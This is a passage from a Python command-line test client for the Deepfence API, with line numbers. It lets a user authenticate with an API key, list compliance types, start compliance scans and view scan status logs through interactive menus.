[] 520 | compliance_codes = [] 521 | for compliances in list_compliances: 522 | for key, val in compliances.items(): 523 | if key.lower() == "code": 524 | compliance_codes.append(val) 525 | elif key.lower() == "label": 526 | compliance_labels.append(val) 527 | compliance_status = [] 528 | for code in compliance_codes: 529 | resp = requests.get("{0}/compliance/{1}/{2}/scan_status".format(self.api_url, node_id, code), 530 | headers=self.headers, verify=False).json() 531 | if resp.get("data"): 532 | compliance_status.append(json.dumps(resp["data"]["scan_status"]).strip('\"') + " at " + json.dumps( 533 | resp["data"]["@timestamp"]).strip('\"')) 534 | else: 535 | compliance_status.append("NOT SCANNED") 536 | 537 | compliance_detailed_labels = [] 538 | for i in range(len(compliance_labels)): 539 | compliance_detailed_labels.append(compliance_labels[i] + " (" + compliance_status[i] + ")") 540 | compliance_choice = self.__get_user_input(compliance_detailed_labels) 541 | compliance_actions = ["Start Compliance Scan", "Get Status Logs of Previous Scan"] 542 | print("\nChoose an action for the particular compliance type") 543 | compliance_action_choice = self.__get_user_input(compliance_actions) 544 | if (compliance_actions[compliance_action_choice] == "Start Compliance Scan"): 545 | body = {"compliance_check_type": compliance_codes[compliance_choice]} 546 | resp = requests.post("{0}/node/{1}/start_compliance_scan".format(self.api_url, node_id), 547 | headers=self.headers, data=json.dumps(body), verify=False).json() 548 | if resp.get("data"): 549 | print("\n" + json.dumps(resp["data"]["complianceCheck"], indent=4)) 550 | else: 551 | print("\nError " + json.dumps(resp["error"]) + " while starting compliance scan.") 552 | elif (compliance_actions[compliance_action_choice] == "Get Status Logs of Previous Scan"): 553 | code_id = compliance_codes[compliance_choice] 554 | print("\nStatus logs of the previous scan") 555 | resp = requests.get("{0}/compliance/{1}/{2}/scan_status".format(self.api_url, node_id, code_id), 556 | headers=self.headers, verify=False).json() 557 | if resp.get("data"): 558 | print("\n" + json.dumps(resp["data"], indent=4)) 559 | else: 560 | print("\nThe node has not been scanned previously for this compliance type") 561 | 562 | def __list_print_helper(self, list_items, add_new_line=False): 563 | for idx, list_item in enumerate(list_items): 564 | if type(list_item) == dict: 565 | print(str(idx + 1) + " : " + json.dumps(list_item, indent=4)) 566 | else: 567 | print(str(idx + 1) + " : " + str(list_item)) 568 | if add_new_line: 569 | print("") 570 | 571 | def __main_menu(self): 572 | try: 573 | print("\n") 574 | print("Available test cases are : ") 575 | user_choice = self.__get_user_input(self.test_choices) 576 | print("Now running test cases for \"" + self.test_choices[user_choice] + "\"") 577 | getattr(self, self.test_choice_methods[user_choice])() 578 | except IndexError: 579 | print("Wrong number entered") 580 | except Exception as ex: 581 | print("Error: {0}".format(str(ex))) 582 | exit() 583 | 584 | def __get_user_input(self, list_items): 585 | self.__list_print_helper(list_items) 586 | print(str(len(list_items) + 1) + " : " + "Exit this menu") 587 | print("\n") 588 | print("Enter your choice: ") 589 | user_input = "" 590 | while not user_input: 591 | user_input = input("-->") 592 | # If user is at main menu and presses exit button, exit the program else take user back to main menu. 593 | if (self.test_choices[0] == list_items[0] and int(user_input) == (len(list_items) + 1)): 594 | self.exit_program() 595 | if (int(user_input) == (len(list_items) + 1)): 596 | self.__main_menu() 597 | return int(user_input) - 1 598 | 599 | def start_testing(self): 600 | print("\n **** Initiating Deepfence API Test cases **** ") 601 | print("\n") 602 | print("Authenticating user with backend. Please wait ....... ") 603 | payload = {"api_key": self.api_key} 604 | resp = requests.post("{0}/users/auth".format(self.api_url), json=payload, headers=self.headers, 605 | verify=False).json() 606 | if resp["success"]: 607 | print("Authentication successful") 608 | else: 609 | print("Authentication failed") 610 | exit() 611 | print("\n") 612 | self.headers["Authorization"] = "Bearer " + resp["data"]["access_token"] 613 | while True: 614 | self.__main_menu() 615 | 616 | 617 | if __name__ == '__main__': 618 | signal.signal(signal.SIGINT, handle_sigint) 619 | if len(argv) != 3: 620 | print("Usage:") 621 | print("python test_api.py \"https:///deepfence/v1.5\" \"API Key\"") 622 | else: 623 | deepfence_api_test = DeepfenceAPITest(argv[1], argv[2]) 624 | deepfence_api_test.start_testing() 625 | --------------------------------------------------------------------------------